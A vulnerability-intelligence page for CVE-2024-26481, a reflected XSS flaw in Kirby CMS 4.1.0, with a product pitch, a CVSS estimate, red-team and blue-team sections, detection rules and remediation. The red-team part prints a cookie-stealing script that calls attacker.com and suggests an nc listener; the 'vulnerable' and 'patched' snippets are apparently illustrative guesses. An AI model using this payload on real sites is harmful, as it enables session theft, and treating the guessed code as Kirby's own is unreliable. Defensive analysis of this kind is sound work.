☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kirby logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-26481

CVE-2024-26481 Cross-Site Scripting in Kirby
📅 PUBLISHED: 2024-02-22 00:00 UTC 🔄 UPDATED: 2026-09-23 20:37 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.40%
👁️
0.40% probability
10.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-26481 identifies a reflected Cross-Site Scripting (XSS) vulnerability in Kirby CMS version 4.1.0. The flaw allows an attacker to inject arbitrary JavaScript code via a crafted URL parameter, which is then reflected back to the user's browser without proper sanitization or encoding. This self-XSS vector requires user interaction (e.g., clicking a malicious link) and can lead to session hijacking, credential theft, or defacement within the context of the victim's session. No official patch has been released at the time of analysis, and no exploit code or detection templates are publicly available in the hacker arsenal.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Kirby CMS is a PHP-based content management system distributed via its official website and Composer. The vulnerability exists in the core application logic, not in a third-party package. Users should verify the integrity of their Kirby installation and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. Based on the vulnerability type (reflected XSS), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): Required (R)
  • Scope (S): Changed (C)
  • Confidentiality (C): Low (L)
  • Integrity (I): Low (L)
  • Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. Exploitation requires user interaction, but the impact can be significant if an attacker crafts a convincing phishing link.

Deep Dive & Mechanics

The vulnerability resides in how Kirby CMS handles URL parameters. When a user accesses a URL containing a malicious parameter (e.g., ?search=<script>alert('XSS')</script>), the application reflects this input directly into the HTML response without proper output encoding. This allows the injected script to execute in the user's browser.

Root Cause: Lack of input sanitization and output encoding for URL parameters in the affected version (4.1.0). The application likely uses $_GET or similar superglobals without applying htmlspecialchars() or equivalent escaping.

Attack Vector:

  1. Attacker crafts a malicious URL: https://victim-site.com/?q=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  2. Attacker sends the link via email, social media, or other channels.
  3. Victim clicks the link while authenticated to the Kirby CMS panel.
  4. The script executes, exfiltrating the victim's session cookie to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Kirby CMS 4.1.0):

// Example vulnerable snippet
$search = $_GET['q'];
echo "<div>Search results for: " . $search . "</div>";

Patched Code (Expected fix):

// Patched version with output encoding
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $search . "</div>";

The patch applies proper HTML entity encoding to user-supplied input before rendering it in the response.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Kirby CMS 4.1.0 running on a local or remote server.
  • A web browser with developer tools.

Proof of Concept (PoC):

  1. Access the Kirby CMS panel (e.g., http://localhost/kirby/panel).
  2. Append a malicious parameter to the URL: ?search=<script>alert('XSS')</script>
  3. Observe the JavaScript alert box, confirming the XSS.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Usage: Replace attacker.com with your controlled server and use a listener (e.g., nc -lvnp 80) to capture cookies.

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for unusual URL parameters containing <script>, onerror, onload, or other XSS patterns.
  • Use a Web Application Firewall (WAF) to block requests with suspicious query strings.

Hardening:

  • Apply Content Security Policy (CSP) headers to restrict script execution.
  • Implement input validation and output encoding for all user-supplied data.
  • Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests containing ?q=<script> or similar patterns in the query string.
  • Outbound connections to unknown domains from the Kirby CMS server.

Host IOCs:

  • Unusual entries in web server access logs (e.g., GET /?q=<script>alert(1)</script>).
  • Presence of unexpected JavaScript files in the web root.

File IOCs:

  • Modified core files (e.g., kirby/src/Cms/App.php) if an attacker gains write access.

Detection Engineering

YARA Rule

rule Detect_Kirby_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Kirby CMS CVE-2024-26481"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-26481"
    strings:
        $xss1 = /[?&](q|search|query)=.*<script>/i
        $xss2 = /[?&](q|search|query)=.*on\w+=/i
        $xss3 = /[?&](q|search|query)=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Kirby CMS URL Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against Kirby CMS CVE-2024-26481
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26481 Kirby CMS Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?q="; http_uri; pcre:"/[?&](q|search|query)=.*<script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable URL parameter reflection if not required for functionality.
  2. Apply a virtual patch using a WAF to block XSS patterns in query strings.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Upgrade to a patched version of Kirby CMS once released by the vendor.
  • Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.
  • Conduct a code review to ensure all user inputs are properly sanitized and encoded.

Workaround:

  • Modify the affected PHP files to use htmlspecialchars() on all URL parameters before output.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-26481/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.